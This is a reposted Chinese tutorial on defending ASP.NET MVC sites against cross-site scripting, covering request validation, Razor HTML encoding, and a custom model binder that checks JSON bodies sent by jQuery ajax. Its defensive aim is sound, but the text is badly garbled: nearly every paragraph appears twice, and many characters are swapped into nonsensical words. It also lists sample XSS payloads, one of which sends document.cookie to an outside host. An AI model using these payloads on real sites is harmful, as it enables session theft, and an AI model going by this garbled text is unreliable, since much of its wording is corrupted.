恶心攻击者可当个体介绍中插入恶意代码。恶意攻击者可在个人介绍中插入恶意代码。

简介
  跨站下论攻击(Cross
Site Scripting),为不与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将跳站下论攻击缩写为XSS。恶意攻击者往Web页面里插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会为实施,从而达到恶意抨击用户之奇异目的,比如取用户的Cookie,导航及黑心网站,携带木马等。

简介
  跨站脚论攻击(Cross
Site Scripting),为未与层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆,故将超越站下论攻击缩写为XSS。恶意攻击者往Web页面里插恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会于实施,从而达到恶意抨击用户之特别目的,比如取用户之Cookie,导航及黑心网站,携带木马等。

部分场面

部分观

  1.
恶意攻击者可当个体介绍其中插入恶意代码,那么其他用户访问他的个人信息时,就见面实施恶意代码。
  2.
恶意攻击者可发表一首稿子,取一个抓住眼球的题,在情节里安插恶意代码,那么用户查看这首文章时,就会实行恶意代码。
  3.
恶意攻击者在局部紧俏文章要帖子里的还原或留言中插入恶意代码,那么用户浏览到他的复或留言时,就会执行恶意代码。

  1.
恶心攻击者可于个人介绍中插入恶意代码,那么其他用户访问他的个人信息时,就会见执行恶意代码。
  2.
恶心攻击者可上一篇稿子,取一个引发眼球的题目,在情节里插恶意代码,那么用户查看这篇稿子时,就会见履恶意代码。
  3.
黑心攻击者在有红文章要帖子里的回升或留言中插入恶意代码,那么用户浏览到外的东山再起或留言时,就见面实行恶意代码。

谨防XSS的点滴独号

防止XSS的鲜单等级

  1.
交由数据常常,就针对数码进行说明,如果含有恶意脚本,则非让数据进库,ASP.NET
MVC默认是会见举行这个证明。如下图,如果准备插入恶意脚本,就见面博得一个HttpRequestValidationException。注:图2红色框中的方后续会涉嫌。

  1.
交付数据经常,就对准数码进行求证,如果含有恶意脚本,则免被数进库,ASP.NET
MVC默认是会召开这证明。如下图,如果准备插入恶意脚本,就会见赢得一个HttpRequestValidationException。注:图2红色框中之法门后续会波及。

    
图片 1

    
图片 2

                  图1

                  图1

    
图片 3

    
图片 4

                  图2

                  图2

  如果我们需要允许下论入库,可以于相应的Action上丰富[ValidateInput(false)]。此时恶意脚论还未克产生威胁,因为还有后面一个号的预防措施。

  如果我们要允许下论入库,可以以相应的Action上助长[ValidateInput(false)]。此时恶意脚论还不可知生出威慑,因为还有后面一个阶段的防止措施。

     
图片 5

     
图片 6

                  图3

                  图3

     
图片 7

     
图片 8

                   
图4

                   
图4

 2.
出口数据时,对输出的情节以HTML编码,恶意脚论无会见被实施。而且,MVC的Razor语法默认就用HTML编码。但是倘若我们用Html.Raw()来输出内容之话语,恶意脚本就会见发出威慑。

 2.
出口数据经常,对输出的内容以HTML编码,恶意脚论不见面给执行。而且,MVC的Razor语法默认就使HTML编码。但是倘若我们使用Html.Raw()来输出内容之说话,恶意脚本就见面生威胁。

     
图片 9

     
图片 10

                 图5

                 图5

    
图片 11

    
图片 12

                 图6

                 图6

 一些恶心脚本

 一些黑心脚本

  1.
简便的弹窗或者内容展示。
  <script>alert(‘你吃私自了!’)</script>
 
  2.
导航及黑心网站。注:这里只是利用百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

  1.
简练的弹窗或者内容展示。
  <script>alert(‘你于不法了!’)</script>
 
  2.
导航及黑心网站。注:这里只是利用百度网站作为导航演示,并无是说百度网站是黑心网站。
   
<script>window.location.href=’http://www.baidu.com';&lt;/script&gt;
 
  3. 
获取cookies。
  <script>alert(document.cookie)</script>
  <script>window.location.href=’http://www.example.com?cookies=document.cookie';&lt;/script&gt;

 $.ajax数据说明失效?

 $.ajax数据证明失效?

  我们设我们的需是无容许含有恶意脚本的多寡进库的,但是咱应用了jquey的ajax进行相互。

  我们而我们的急需是未允许含有恶意脚本的多少进库的,但是我们采取了jquey的ajax进行相互。

     
图片 13

     
图片 14

                图7

                图7

     
图片 15

     
图片 16

                图8

                图8

     
图片 17

     
图片 18

                图9

                图9

     
图片 19

     
图片 20

              图10

              图10

  数据要进库,为什么吧?我们来钻下图2吉框中之艺术。

  数据要进库,为什么吗?我们来钻下图2吉框中的点子。

     
图片 21

     
图片 22

                图11

                图11

     
图片 23

     
图片 24

                图12

                图12

  从图12吃,我猜测MVC会对Request中之如上内容展开验证,可是jquery
ajax的数是存Request的Content里面的,因此,默认的印证对jquery
ajax并无效应。

  从图12备受,我猜测MVC会对Request中之以上内容进行求证,可是jquery
ajax的数码是存在Request的Content里面的,因此,默认的说明对jquery
ajax并不曾意义。

 $.ajax数据证明实现

 $.ajax数据证实实现

  要本着$.ajax进行多少证明,我由ModelBinder下手。具体代码如下:

  要本着$.ajax进行多少印证,我自ModelBinder下手。具体代码如下:

 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }
 1 public class AjaxModelBinder : DefaultModelBinder
 2     {
 3         protected override bool OnPropertyValidating(ControllerContext controllerContext, ModelBindingContext bindingContext, PropertyDescriptor propertyDescriptor, object value)
 4         {
 5             var contentType = controllerContext.HttpContext.Request.ContentType;
 6 
 7             if (contentType.Equals("application/json", StringComparison.OrdinalIgnoreCase) &&
 8                 value is string &&
 9                 controllerContext.Controller.ValidateRequest &&
10                 bindingContext.PropertyMetadata[propertyDescriptor.Name].RequestValidationEnabled)
11             {
12                 if (IsDangerousString(value.ToString()))
13                 {
14                     throw new HttpRequestValidationException("在请求中检测到有潜在危险的值!");
15                 }
16             }
17 
18             return base.OnPropertyValidating(controllerContext, bindingContext, propertyDescriptor, value);
19         }
20 
21         /// <summary>
22         /// Refer the method "System.Web.CrossSiteScriptingValidation.IsDangerousString".
23         /// </summary>
24         private static bool IsDangerousString(string str)
25         {
26             var startingChars = new[] { '<', '&' };
27             var startIndex = 0;
28 
29             while (true)
30             {
31                 var index = str.IndexOfAny(startingChars, startIndex);
32 
33                 if (index < 0)
34                 {
35                     return false;
36                 }
37 
38                 if (index == (str.Length - 1))
39                 {
40                     return false;
41                 }
42 
43                 var ch = str[index];
44 
45                 if (ch != '&')
46                 {
47                     if ((ch == '<') && ((IsAtoZ(str[index + 1]) || (str[index + 1] == '!')) || ((str[index + 1] == '/') || (str[index + 1] == '?'))))
48                     {
49                         return true;
50                     }
51                 }
52 
53                 else if (str[index + 1] == '#')
54                 {
55                     return true;
56                 }
57 
58                 startIndex = index + 1;
59             }
60         }
61 
62         private static bool IsAtoZ(char c)
63         {
64             return (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z')));
65         }
66     }

  然后在Global.asax.cs中注册AjaxModelBinder。

  然后在Global.asax.cs中注册AjaxModelBinder。

图片 25

图片 26

              图13

              图13

  那么,输入数据来恶心脚本时虽会让检测出。

  那么,输入数据产生恶心脚本时便会见受检测出来。

 图片 27

 图片 28

                图14

                图14

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

  关于AjaxModelBinder中的IsDangerousString方法,我是从.Net的源码拷贝过来的。

 图片 29

 图片 30

                  图15

                  图15

AntiXSS第三方组件

AntiXSS第三着组件

  如果使用.Net4.0以及以上之本子,那么就算无欲引入AntiXSS,因为.Net
4.0曾把AntiXSS集成进来了。如果是其它版本则需引入。

  如果使用.Net4.0以及以上之本子,那么就是无欲引入AntiXSS,因为.Net
4.0早已拿AntiXSS集成进来了。如果是其他版本则需引入。

源码下载

  为了方便使用,我并未应用另外数据库,而是用了一个文件来存储数据。代码下载后可以直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  图片 31

 

章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

源码下载

  为了方便使用,我尚未下另外数据库,而是用了一个文书来囤数据。代码下载后可以直接运行,无需配置。

  下载地址:https://github.com/ErikXu/XSS

  图片 32

 

章转载自:http://www.cnblogs.com/Erik_Xu/p/5403773.html

相关文章